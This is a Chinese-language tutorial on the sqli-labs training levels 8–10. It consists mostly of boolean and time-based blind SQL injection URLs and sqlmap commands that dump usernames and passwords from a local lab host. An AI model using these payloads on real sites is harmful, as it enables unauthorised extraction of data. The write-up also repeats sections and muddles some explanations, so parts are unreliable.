sqli-labs靶場實現(二)【不顯示錯誤內容的盲注(布林、時間)】(less-8~10、具體步驟+圖文詳解)

A&&K發表於2020-12-14

一)不再顯示不再顯示錯誤的盲注
  1)盲注介紹——盲注的流程
  2)get基於時間的盲注(less9(單引號)、less10(雙引號))
  3)get基於boolena的盲注(less8(單引號))
  4)sqlmap安全測試

————————————————————————————————————————————————————


一)不再顯示不再顯示錯誤的盲注

1)盲注介紹

盲注(blind SQL)是注入攻擊的其中一種,它通過向資料庫傳送true或者false並根據應用程式返回的資訊判斷結果,這種攻擊的程式是因為本身在設定配置時就設計成只顯示對錯但並不顯示解決SQL隱碼攻擊存在的程式碼問題的方法(也就是不會將SQL語句的錯誤原因和位置顯示出來,只顯示對或者錯的這個結果)。

盲注分類:時間盲注、布林型盲注

判斷是否存在注入:

id=1(正常顯示:you are in)
id=2(正常顯示:you are in)
id=1'(錯誤:不顯示任何內容)
id=2'(錯誤:不顯示任何內容)
id=2\(錯誤:不顯示任何內容)【雙引號閉合】

在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述

盲注大致流程:

1.判斷是否存在注入,注入是字元型還是數字型(方法同顯注的union相同)
2.判斷欄位數(order by)
3.猜解資料庫個數
4.猜解指定資料庫名稱長度
5.猜解指定資料庫名稱
6.猜解指定資料庫中表的個數
7.猜解指定資料庫中表名長度
8.猜解指定資料庫中表名
9.猜解指定資料庫中指定表的欄位數
10.猜解指定資料庫中指定表的欄位長度
11.猜解指定資料庫中指定表的欄位名
12.猜解指定資料庫中指定表的欄位內容個數
13.猜解指定資料庫中指定表的欄位內容長度
14.猜解指定資料庫中指定表的欄位內容


2)get基於時間的盲注

先進行基本語句解析:

if(ascii(substr(database(),1,1)=115),1,sleep(5));
        ————當資料庫名稱的第一個字母的ascii碼=115時,執行一次sleep(5)函式等待51if(條件,1,sleep(5))
2ascii(字元1)=115
3substr(string,1,1)
4database()

由外到內層層拆分:
1if(條件,1,sleep(5))————如果條件符合,那麼執行一次sleep(5),否則不執行;
1')if(條件,2,sleep(5))————如果條件符合,那麼執行兩次sleep(5),否則不執行;
2ascii(字元1)=115————將 字元1 轉換為ascii碼並與115進行比較
3substr(string,1,1)————從string字串的第一個字元開始擷取並且只擷取一個字元
4database()————獲取當前資料庫名稱

a)判斷是否存在基於時間的盲注

http://192.168.67.143/sqli/Less-10/?id=1" and sleep(5) --+
如果頁面需載入5秒就說明存在基於時間的盲注

b)猜解資料庫個數

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+

c)猜解資料庫個數

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+   #顯示正常

d)猜解指定資料庫名稱長度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select schema_name from information_schema.schemata limit 0,1))=1,sleep(5),1) --+  #顯示不正常

e)猜解指定資料庫名稱

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))=105,sleep(5),1) --+  #顯示正常

f)猜解指定資料庫中表的個數

http://192.168.67.143/sqli/Less-10/?id=1" and if(((select count(table_name) from information_schema.tables where table_schema='security' limit 0,1))=4,sleep(5),1) --+  #顯示正常

g)猜解指定資料庫中表名長度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1) --+  #顯示正常

h)猜解指定資料庫中表名

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=101,sleep(5),1) --+  #顯示正常

i)猜解指定資料庫中指定表的欄位數

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(5),1) --+  #顯示正常

j)猜解指定資料庫中指定表的欄位長度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(5),1) --+  #顯示正常 

k)猜解指定資料庫中指定表的欄位名

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))=105,sleep(5),1) --+  #顯示正常 

l)猜解指定資料庫中指定表的欄位內容個數

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(username) from users)=13,sleep(5),1) --+  #顯示正常 

m)猜解指定資料庫中指定表的欄位內容長度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select username from users limit 0,1))=4,sleep(5),1) --+  #顯示正常

n)猜解指定資料庫中指定表的欄位內容

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select username from users limit 0,1),1))=68,sleep(5),1) --+  #顯示正常

less10:

a)判斷是否存在基於時間的盲注

http://192.168.67.143/sqli/Less-10/?id=1" and sleep(5) --+
如果頁面需載入5秒就說明存在基於時間的盲注

b)猜解資料庫個數

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+

c)猜解資料庫個數

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+   #顯示正常

d)猜解指定資料庫名稱長度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select schema_name from information_schema.schemata limit 0,1))=1,sleep(5),1) --+  #顯示不正常

e)猜解指定資料庫名稱

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))=105,sleep(5),1) --+  #顯示正常

f)猜解指定資料庫中表的個數

http://192.168.67.143/sqli/Less-10/?id=1" and if(((select count(table_name) from information_schema.tables where table_schema='security' limit 0,1))=4,sleep(5),1) --+  #顯示正常

g)猜解指定資料庫中表名長度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1) --+  #顯示正常

h)猜解指定資料庫中表名

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=101,sleep(5),1) --+  #顯示正常

i)猜解指定資料庫中指定表的欄位數

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(5),1) --+  #顯示正常

j)猜解指定資料庫中指定表的欄位長度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(5),1) --+  #顯示正常 

k)猜解指定資料庫中指定表的欄位名

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))=105,sleep(5),1) --+  #顯示正常 

l)猜解指定資料庫中指定表的欄位內容個數

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(username) from users)=13,sleep(5),1) --+  #顯示正常 

m)猜解指定資料庫中指定表的欄位內容長度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select username from users limit 0,1))=4,sleep(5),1) --+  #顯示正常

n)猜解指定資料庫中指定表的欄位內容

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select username from users limit 0,1),1))=68,sleep(5),1) --+  #顯示正常


3)get基於boolena的盲注:less8(基於布林盲注):

a)判斷是否存在注入,注入是字元型還是數字型(方法同顯注的union相同):

id=1(有顯示)
id=1'(無顯示)
id=1 and 1=1(有顯示)
id=1 and 1=2(有顯示,但其實是沒反應,也就是沒有進入SQL資料庫進行判斷)
id=1' and 1=1 --+(有顯示)
id=1' and 1=2 --+(無顯示)

在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述

在這裡插入圖片描述
結論:字元型(因為字元型的會顯示不同的提示證明SQL語句被成功執行,而數字型無論SQL對錯頁面顯示的提示都是相同的證明SQL語句並沒有被執行)。

b)判斷欄位數

http://192.168.67.143/sqli/Less-8/?id=1' order by 1 --+ (正常)
http://192.168.67.143/sqli/Less-8/?id=1' order by 2 --+ (正常)
http://192.168.67.143/sqli/Less-8/?id=1' order by 3 --+ (正常)
http://192.168.67.143/sqli/Less-8/?id=1' order by 4 --+ (錯誤)

在這裡插入圖片描述
在這裡插入圖片描述
結論:欄位數為3

c)猜解資料庫個數:

http://192.168.67.143/sqli/Less-8/?id=1' and (select count(schema_name) from information_schema.schemata)>1 --+   #顯示正常
 ...
http://192.168.67.143/sqli/Less-8/?id=1' and (select count(schema_name) from information_schema.schemata)>6 --+   #顯示正常
http://192.168.67.143/sqli/Less-8/?id=1' and (select count(schema_name) from information_schema.schemata)>7 --+   #顯示錯誤

在這裡插入圖片描述

在這裡插入圖片描述
在這裡插入圖片描述

結論:資料庫數量為7

d)猜解資料庫名稱長度:

從 id=1' and 1=1
   id=1' and 1>1 擴充套件來的:
   
http://192.168.67.143/sqli/Less-8/?id=1' and length((select schema_name from information_schema.schemata limit 0,1))=1 --+  #顯示不正常
...
http://192.168.67.143/sqli/Less-8/?id=1' and length((select schema_name from information_schema.schemata limit 0,1))=18 --+  #顯示正常
說明第一個資料庫的長度為18

http://192.168.67.143/sqli/Less-8/?id=1' and length((select schema_name from information_schema.schemata limit 1,1))=10 --+  #顯示正常
說明第二個資料庫長度為10

後續只需修改limit的值和length值即可,不再累贅詳解。

在這裡插入圖片描述

e)猜解資料庫名稱:

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))=105 --+  #顯示正常
說明第一個資料庫的第一個字元為i

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2))=110 --+  #顯示正常
說明第一個資料庫的第二個字元為n

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1))=99 --+  #顯示正常
說明第二個資料庫的第一個字元為c

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),2))=104 --+  #顯示正常
說明第二個資料庫的第二個字元為h

後續只需修改limit的值和substr值即可,不再累贅詳解。

在這裡插入圖片描述
在這裡插入圖片描述
f)猜解指定資料庫中表的個數:

http://192.168.67.143/sqli/Less-8/?id=1' and ((select count(table_name) from information_schema.tables where table_schema='security' limit 0,1))=4 --+  #顯示正常
說明security資料庫的表個數為4

在這裡插入圖片描述

g)猜解指定資料庫中表名長度:

http://192.168.67.143/sqli/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+  #顯示正常
說明security資料庫的第一個表名長度為6

http://192.168.67.143/sqli/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8 --+  #顯示正常
說明security資料庫的第二個表名長度為8

後續只需修改limit的值和substr值即可,不再累贅詳解。

在這裡插入圖片描述
在這裡插入圖片描述
h)猜解指定資料庫中表名

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=101 --+  #顯示正常
說明security資料庫的第一個表的第一個字元為e

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2))=109 --+  #顯示正常
說明security資料庫的第一個表的第二個字元為m

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1))=114 --+  #顯示正常
說明security資料庫的第二個表的第一個字元為r

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 2,1),2))=101 --+  #顯示正常
說明security資料庫的第二個表的第二個字元為e

後續只需修改limit的值和substr值即可,不再累贅詳解。

i)猜解指定資料庫中指定表的欄位數:

http://192.168.67.143/sqli/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 --+  #顯示正常
說明security資料庫的users表欄位數為3

在這裡插入圖片描述

j)猜解指定資料庫中指定表的欄位長度:

http://192.168.67.143/sqli/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2 --+  #顯示正常 
說明security資料庫的users表的第一個欄位長為2

http://192.168.67.143/sqli/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8 --+  #顯示正常 
說明security資料庫的users表的第二個欄位長為8

後續只需修改limit的值和substr值即可,不再累贅詳解。

k)猜解指定資料庫中指定表的欄位名

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))=105 --+  #顯示正常 
說明security資料庫的users表的第一個欄位的第一個字元為i

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2))=98 --+  #顯示正常 
說明security資料庫的users表的第一個欄位的第二個字元為d

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1))=117 --+  #顯示正常 
說明security資料庫的users表的第二個欄位的第一個字元為u

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2))=115 --+  #顯示正常 
說明security資料庫的users表的第二個欄位的第二個字元為s

後續只需修改limit的值和substr值即可,不再累贅詳解。

在這裡插入圖片描述
在這裡插入圖片描述

l)猜解指定資料庫中指定表的欄位內容個數

http://192.168.67.143/sqli/Less-8/?id=1' and (select count(username) from users)=13 --+  #顯示正常 
說明資料庫的users表username欄位的資料個數為13

在這裡插入圖片描述

m)猜解指定資料庫中指定表的欄位內容長度

http://192.168.67.143/sqli/Less-8/?id=1' and length((select username from users limit 0,1))=4 --+  #顯示正常
說明資料庫的users表username欄位的第一個資料長度為4

http://192.168.67.143/sqli/Less-8/?id=1' and length((select username from users limit 1,1))=8 --+  #顯示正常
說明資料庫的users表username欄位的第二個資料長度為8

後續只需修改limit的值即可,不再累贅詳解。

n)猜解指定資料庫中指定表的欄位內容

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1))=68 --+  #顯示正常
說明資料庫的users表username欄位的第一個資料的第一個字元為D

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),2))=117 --+  #顯示正常
說明資料庫的users表username欄位的第一個資料的第二個字元為u

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select username from users limit 1,1),1))=65 --+  #顯示正常
說明資料庫的users表username欄位的第二個資料的第一個字元為A

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select username from users limit 1,1),2))=110 --+  #顯示正常
說明資料庫的users表username欄位的第二個資料的第二個字元為n

後續只需修改limit的值和substr值即可,不再累贅詳解。


4)sqlmap安全測試

如果我們可以確定SQL隱碼攻擊型別是布林盲注,那麼我麼在使用sqlmap探測時就可以設定探測技術針對布林盲注:
在這裡插入圖片描述

注:預設是 BEUSTQ——B是布林,E是報錯,U是聯合,S是堆疊,T是時間,Q是查詢

布林盲注:

a)獲取所以資料庫:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique B --dbs --batch

在這裡插入圖片描述
結果圖:
在這裡插入圖片描述

b)獲取指定資料庫中所有表:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique B -D security --tables --batch

c)獲取指定資料庫指定表中所有欄位:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique B -D security -T users --columns --batch

d)dump資料:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique B -D security -T users -C username,password --dump --batch

時間盲注:

a)獲取所以資料庫:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique T --dbs --batch

b)獲取指定資料庫中所有表:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique T -D security --tables --batch

c)獲取指定資料庫指定表中所有欄位:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique T -D security -T users --columns --batch

d)dump資料:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique T -D security -T users -C username,password --dump --batch




相關文章